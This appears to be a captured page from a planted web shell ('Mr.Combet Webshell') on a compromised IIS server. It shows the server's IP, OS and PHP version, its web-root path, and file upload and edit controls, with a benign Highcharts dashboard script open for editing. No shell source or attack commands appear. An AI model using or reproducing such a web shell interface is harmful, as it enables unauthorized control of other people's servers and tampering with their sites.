Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Scripts
/
app
/
Edit File Name :
dashboardGraph.js
var DashBoardJS = function () { var self = {}; self.prepareDataset = function (obj) { var result = {}; result.categories = obj.Categories; result.yAxis = []; result.series = []; for (var i = 0; i < obj.Series.length; i++) { var yAxisData = { labels: { format: '{value} ' + obj.Series[i].Unit, style: { color: obj.Series[i].Color } }, title: { text: obj.Series[i].Title, style: { color: obj.Series[i].Color } } }; if (i === 1) { yAxisData.opposite = true; } result.yAxis.push(yAxisData); var seriesData = { name: obj.Series[i].Title, type: obj.Series[i].Type, data: obj.Series[i].Data, tooltip: { valueSuffix: obj.Series[i].Unit }, color: obj.Series[i].Color }; if (i === 1) { seriesData.yAxis = 1; } result.series.push(seriesData); } return result; }; self.drawColumnPie = function (id, opt) { if (opt.ColumnPie.ColumnPieSeries !== null) { Highcharts.chart(id, { title: { text: null }, credits: { enabled: false }, xAxis: { categories: opt.ColumnPie.Categories, labels: { enabled: false }, crosshair: true }, yAxis: { allowDecimals: false }, labels: { items: [{ style: { left: '50px', top: '18px', color: // theme Highcharts.defaultOptions.title.style && Highcharts.defaultOptions.title.style.color || 'black' } }] }, tooltip: { formatter: function () { if (this.series.options.type === 'pie') { // the pie chart console.log(this); console.log(this.series.name); return '<span style="color:' + this.color + '">\u25CF</span>' + this.key + ': ' + this.y; } else { return '<span style="color:' + this.series.color + '">\u25CF</span>' + this.series.name + ': ' + this.y; } } }, series: opt.ColumnPie.ColumnPieSeries.Data }); } }; self.drawColumn = function (id, opt) { console.log(opt); console.log("test") console.log("test") Highcharts.chart(id, { chart: { type: 'column' }, credits: { enabled: false }, title: { text: opt.ColumnChartSeries.title_type }, xAxis: { title: { text: "PPI Status and Score" }, categories: [ 'Ultra Poor(<20)', 'Poor( >= 20 and < 40)', 'Upper Active Poor ( >= 40 and < 60)', 'Comfortable( >= 60 and < 80)', 'Wealthy( >= 80 and <= 100)' ] }, yAxis: { title: { text: opt.ColumnChartSeries.y_axis_type } }, tooltip: { headerFormat: '<span style="font-size:10px"></span><table>', pointFormat: '<tr>' + '<td style="padding:0"><b>{point.y}</b></td></tr>', footerFormat: '</table>', }, plotOptions: { column: { pointPadding: 0.2, borderWidth: 0 } }, series: [{ data: opt.ColumnChartSeries.Data }] }); }; self.drawProvinceColumn = function (id, opt) { Highcharts.chart(id, { chart: { type: 'column' }, credits: { enabled: false }, title: { text: opt.ColumnChartSeries.title_type }, xAxis: { title: { text: null }, categories: [ 'Province 1', 'Province 2', 'Province 3' ] }, yAxis: { title: { text: opt.ColumnChartSeries.y_axis_type } }, tooltip: { headerFormat: '<span style="font-size:10px"></span><table>', pointFormat: '<tr>' + '<td style="padding:0"><b>{point.y}</b></td></tr>', footerFormat: '</table>', }, plotOptions: { column: { pointPadding: 0.2, borderWidth: 0, colorByPoint: true }, }, series: [{ data: opt.ColumnChartSeries.Data }] }); }; self.drawGroupColumn = function (id, opt) { debugger Highcharts.chart(id, { chart: { type: 'column' }, credits: { enabled: false }, title: { text: '' }, xAxis: { title: { text: "Cooperative Members" }, categories: opt.GroupDataSeries.Categories }, yAxis: { title: { text: '' } }, tooltip: { headerFormat: '<span style="font-size:10px"></span><table>', pointFormat: '<tr>' + '<td style="padding:0"><b>{point.y}</b></td></tr>', footerFormat: '</table>', }, plotOptions: { }, series: opt.GroupDataSeries.Series }); }; self.drawColumnChartForCommodity = function (id, opt) { Highcharts.chart(id, { chart: { type: 'column' }, credits: { enabled: false }, title: { text: opt.ColumnChartSeriesDecimal.title_type }, xAxis: { title: { text: "Commodity" }, categories: [ 'Fish', 'Goat', 'MAPS', 'Milk', 'Vegetables' ] }, yAxis: { title: { text: opt.ColumnChartSeriesDecimal.y_axis_type } }, tooltip: { headerFormat: '<span style="font-size:10px">{point.key}</span><table>', pointFormat: '<tr><td style="color:{series.color};padding:0">: </td>' + '<td style="padding:0"><b>{point.y}</b></td></tr>', footerFormat: '</table>', }, plotOptions: { column: { pointPadding: 0.2, borderWidth: 0 } }, series: [{ data: opt.ColumnChartSeriesDecimal.Data }] }); }; self.drawColumnChart = function (id, opt) { debugger Highcharts.chart(id, { chart: { type: 'column' }, credits: { enabled: false }, title: { text: opt.ColumnChartSeries.title_type }, xAxis: { title: { text: opt.ColumnChartSeries.x_axis_type }, categories: opt.Categories }, yAxis: { title: { text: opt.ColumnChartSeries.y_axis_type } }, tooltip: { headerFormat: '<span style="font-size:10px">{point.key}</span><table>', pointFormat: '<tr><td style="color:{series.color};padding:0">: </td>' + '<td style="padding:0"><b>{point.y}</b></td></tr>', footerFormat: '</table>', }, plotOptions: { column: { pointPadding: 0.2, borderWidth: 0 } }, series: [{ data: opt.ColumnChartSeries.Data }] }); }; self.drawStacked = function (id, opt) { Highcharts.chart(id, { chart: { type: 'column', marginRight: 130, marginBottom: 70 }, credits: { enabled: false }, title: { text: null }, xAxis: { categories: opt.Xaxis.categories //labels: { // rotation: 0, // x: 0, // style: { // fontSize: '8px', // align: 'Right' // } //} }, yAxis: { min: 0, title: { text: null }, stackLabels: { enabled: true, style: { fontWeight: 'bold', color: // theme Highcharts.defaultOptions.title.style && Highcharts.defaultOptions.title.style.color || 'gray' } } }, legend: { layout: 'vertical', align: 'right', verticalAlign: 'top', x: 10, y: 10, floating: true, borderWidth: 1, backgroundColor: Highcharts.defaultOptions.legend.backgroundColor || '#FFFFFF' }, tooltip: { headerFormat: '<b>{point.x}</b><br/>', pointFormat: '{series.name}: {point.y}<br/>Total: {point.stackTotal}' }, plotOptions: { column: { stacking: 'normal', dataLabels: { enabled: true } } }, series: opt.Series }); }; self.drawPieChart = function (id, opt) { console.log("id", id); console.log("opt", opt); opt.PieChartSeries.data.forEach(function (x) { x.name = x.name + '(' + x.y + ')'; }); Highcharts.chart(id, { chart: { type: 'pie' }, title: { text: opt.PieChartSeries.name }, tooltip: { pointFormat: '{series.name}: <b>{point.y}</b>' }, series: [opt.PieChartSeries] }); }; self.drawSplineChart = function (id, opt) { console.log(opt); Highcharts.chart(id, { chart: { type: 'spline' }, title: { text: 'PPI Status' }, xAxis: { categories: ['0-10', '11-20', '21-30', '31-40', '41-50', '51-60', '61-70', '71-80', '81-90', '91-100'] }, yAxis: { title: { text: 'Total Member ' }, labels: { formatter: function () { return this.value + ''; } } }, tooltip: { crosshairs: true, shared: true }, plotOptions: { spline: { marker: { radius: 4, lineColor: '#666666', lineWidth: 1 } } }, series: [{ name: 'Total Member ', marker: { symbol: '' }, data: opt.data }] }); }; self.drawHighChartPieChart = function (id, opt) { console.log(opt.PieChartSeries); Highcharts.setOptions({ lang: { decimalPoint: '.', thousandsSep: ',' } }); var chart = new Highcharts.chart(id, { chart: { type: 'pie' }, credits: { enabled: false }, title: { text: null }, subtitle: { text: null }, plotOptions: { pie: { size: '90%', innerSize: 100, depth: 35, dataLabels: { enabled: true }, showInLegend: true, distance: 3 } }, tooltip: { headerFormat: '<b>{point.key}</b><br/>', pointFormat: '<span style="color:{point.color}">\u25CF</span>Usage Summary - by Land Cultivated: <b>{point.y:,.2f} ha</b>', valueSuffix: ' Hectare' }, //legend: { // layout: 'horizontal', // //align: 'right', // x: -26, // verticalAlign: 'bottom', // y: 15, // width: 200, // floating: false, // backgroundColor: '#FFFFFF' //}, series: opt.PieChartSeries }); }; self.events = function () { var that = this; $('#btnOk').on('click', function (e) { var dateRange = $('#dateRange').val(); console.log(dateRange); if (dateRange === '' || dateRange === null) { alert('date is required'); return; } var option = { Method: "Get", URL: urlManager.getPumpUsage, Data: { date: dateRange } }; var suc = function (res) { console.log(res); if (res.Message) { alert(res.Message); } else { var dataset = that.prepareDataset(res); that.drawHighChartLineAndBar("container", dataset); } }; var fail = function (err) { ; console.log(err); }; ajax(option).then(suc, fail); }); $('#btnClickOk').on('click', function (e) { var dateRange = $('#dateRange').val(); var id = $('#bID').val(); console.log(id); console.log(dateRange); if (dateRange === '' || dateRange === null) { alert('date is required'); return; } var option = { Method: "Get", URL: urlManager.getpumpUsageBeneficiaryWise, Data: { date: dateRange, id: id } }; var suc = function (res) { console.log(res); if (res.Message) { alert(res.Message); } else { var dataset = that.prepareDataset(res); that.drawHighChartLineAndBar("container", dataset); } }; var fail = function (err) { ; console.log(err); }; ajax(option).then(suc, fail); }); $('#btTopPerfomer').on('click', function (e) { var Country = $('#Country option:selected').text(); var District = $('#DistrictID option:selected').text(); var option = { Method: "Get", URL: urlManager.getTopPerfomer, Data: { Country: Country, District: District } }; var suc = function (res) { console.log(res); $('#topPerfomerID').html(res); }; var fail = function (err) { ; console.log(err); }; ajax(option).then(suc, fail); }); }; self.doubleColumnBarDiagram = function (id, values, title) { Highcharts.chart(id, { chart: { type: 'column' }, title: { text: title }, xAxis: { categories: values.categories }, credits: { enabled: false }, series: values.DoubleGraphsSeries }); }; self.combinedPieAndBar = function (id, values, title1, title2) { var series = []; var data1 = values.DoubleGraphsSeries; for (i = 0; i < values.DoubleGraphsSeries.length; i++) { data1[i].type = 'column'; series.push(data1[i]); } var data2 = { data: values.CombinedPieGraphsSeries }; for (i = 0; i < 1; i++) { data2.name = title2, data2.type = 'pie', data2.center = [100, 50], data2.size = 70, data2.showInLegend = false, data2.dataLabels = { enabled: false }; series.push( data2 ); } Highcharts.chart(id, { title: { text: title1 }, xAxis: { categories: values.categories }, yAxis: { top: '40%', height: '60%', min: 0 }, labels: { items: [{ html: title2, style: { left: '50px', top: '18px', color: ( // theme Highcharts.defaultOptions.title.style && Highcharts.defaultOptions.title.style.color ) || 'black' } }] }, credits: { enabled: false }, series: series }); }; self.combinedColumnBarChart = function (id, values, title1, title2) { var seriess = []; var data = values.GALSDoubleGraphsSeries; for (i = 0; i < values.GALSDoubleGraphsSeries.length; i++) { data[i].type = 'column'; seriess.push(data[i]); } console.log(seriess) Highcharts.chart(id, { chart: { type: 'column' }, title: { text: title1 }, xAxis: { categories: values.categories }, yAxis: { min: 0, title: { text: title2 } }, series: seriess }); }; self.combinedColumnBarHorizontalChart = function (id, values, title1, title2) { var seriess = []; var data = values.GALSDoubleGraphsSeries; for (i = 0; i < values.GALSDoubleGraphsSeries.length; i++) { data[i].type = 'bar'; seriess.push(data[i]); } console.log(seriess) Highcharts.chart(id, { chart: { type: 'bar' }, title: { text: title1 }, xAxis: { categories: values.categories }, yAxis: { min: 0, title: { text: title2 } }, legend: { layout: 'vertical', align: 'right', verticalAlign: 'top', x: -40, y: 80, floating: true, borderWidth: 1, shadow: true }, series: seriess }); }; self.init = function () { this.events(); }; self.init(); return self; };
Save